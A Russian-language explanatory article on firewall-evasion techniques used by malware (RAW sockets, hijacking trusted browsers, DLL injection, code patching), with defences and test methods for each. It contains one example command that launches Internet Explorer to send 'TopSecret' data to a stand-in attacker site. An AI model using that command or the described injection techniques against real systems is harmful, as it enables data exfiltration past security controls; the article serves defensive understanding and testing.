Брандмауэр - это программный либо аппаратный межсетевой экран, позволяющий устанавливать только авторизованные соединения между сетями.
Введение
Использование возможностей интернета сегодня фактически невозможно без применения брандмауэров, которые защищают компьютеры от внешних атак и ограничивают функционирование программных приложений согласно установленными пользователями условиями. Проектировщики вирусных программ, со своей стороны, используют разные методы обмана брандмауэров. Для всех этих методов существуют технологии, которые защищают брандмауэры, а также есть способы их проверки.
Технологии противодействия брандмауэрам
Чтобы настроить и протестировать брандмауэр, требуется определить основные методы, которые используются для обхода брандмауэров. Методы, по статистическим данным чаще всего используемые конструкторами вредоносных вложений, следующие:
- Разрешение доступа к сети не доверенного программного приложения.
- Разрешение доступа к сети с применением RAW Socket.
- Перехват управление доверенным приложением.
- Использование реакция брандмауэра Outpost Firewall.
- Вставка внешних DLL в доверенные процессы.
- Вставка DLL с помощью механизма ловушек.
- Формирование в доверенных процессах троянских вложений.
- Изменение машинных кодов доверенных приложений.
Рассмотрим подробнее эти методики и способы борьбы с ними. Разрешение доступа в сеть не доверенного приложения считается наиболее простым и состоит в пуске некоторого программного приложения, которое не является по версии брандмауэра доверенным. Данное приложение выполняет попытку информационного обмена через интернет. Если эта попытка была удачной, то это говорит о дефектах брандмауэра или его неверной настройке. Этот тест считается обязательным проверочным элементом брандмауэра, который по существу тестирует его пригодность к работе.
Способ выполнения теста заключается в попытке тестовой программы играть роль не доверенного приложения, которое обращается в сеть для информационного обмена. Если обмен успешно исполнен, значит брандмауэр работает неправильно или он неправильно настроен.
Вторая методика имеет аналогию с первой, только здесь для информационного обмена в интернете используется система RAW Socket. Эта технология даёт возможность приложениям непосредственно выполнять приём и отправку сетевых пакетов. Применение RAW Socket допускается для специальных утилит сети (к примеру, при сканировании портов), но их использование другими приложениями считается недопустимым.
В этом случае защита брандмауэра заключается в создании отдельных правил, которые разрешают или запрещают применять технологии RAW Socket. В случае отсутствия такой процедуры, брандмауэр обязан ограничить активность в сети приложений в соответствии с установленными правилами вне зависимости от обменных методов.
Метод теста для этого случая заключается в попытке тестовой программы выполнить информационный обмен по сети при посредстве RAW Socket. Брандмауэр должен выдать запрет на обмен.
Перехват управления доверенным приложением является популярным методом и в самом простом варианте означает запуск доверенного приложения с определёнными параметрами. К примеру, так:
IEXPLORE.EXE http://www.hacker-site.ru?&text= TopSecret
По большому счёту, в обязанности брандмауэра не входит фиксация и блокировка подобных запусков, но бесконтрольный запуск доверенных приложений при наличии у них параметров ведёт к скачиванию информации, путём обхода брандмауэра.
Использование реакции брандмауэра Outpost Firewall на пуск приложения, которое скрыто и имеет ключи.
Методом защиты является контроль брандмауэром запуска доверенного приложения при помощи не доверенного, в частности, когда речь о браузере. Иногда брандмауэры выполняют проверку того, видит ли пользователь окно работающего приложения. Всегда вызывает подозрение информационный обмен в интернете, который не видит пользователь. Но вдвойне подозрительно, когда пуск такого приложения осуществляется не доверенным приложением.
Тестирование данного варианта состоит в запуске специальной доверенной программы, имеющей параметры. Как правила выполняется запуск браузера, который управляется командной строкой. Далее передаётся сообщение окну браузера, что имитирует действия пользователя, и выполняется управление работающей копией браузера при помощи DDE (Dynamic Data Exchange), то есть динамического обмена данными. Аналогичное тестирование может выполнить и сам пользователь. Нужно воспользоваться планировщиком заданий и задать однократный пуск браузера с командной строкой в определённое время. Затем осуществить анализ реакции брандмауэра.
Вставка внешних DLL в доверенные процессы считается очень несложным методом в смысле его осуществления, и имеет ряд разных версий:
- Можно внедрять DLL с помощью метода ловушек.
- Вставка DLL, использованием функции CreateRemoteThread. При этом в памяти приложения формируется область памяти, именуемая DLL, а далее вызывается функция Load Library при посредстве функции CreateRemoteThread.
- Выполнение регистрации DLL как объекта помощника браузера (BHO — Browser Helpher Object) или как встроенного модуля доверенного процесса. Последняя методика наиболее часто используется проектировщиками AdWare/SpyWare-программ.
Формирование в доверенных процессах троянских вложений. Методика относительно не сложная и состоит во внедрении в память доверенного приложения кода программы, которая вызывает функцию CreateRemoteThread, с исполнением в отдельном потоке. Методы защиты заключаются в контроле подобных операций и их блокировке, или надо причислить этот процесс к не доверенным, после того, как в нём обнаружен посторонний поток.
Изменение машинных кодов доверенных процессов. Эта методика обычно используется руткитами. Смысл методики заключается в модифицировании машинных кодов приложения или применяемых им библиотечных функций.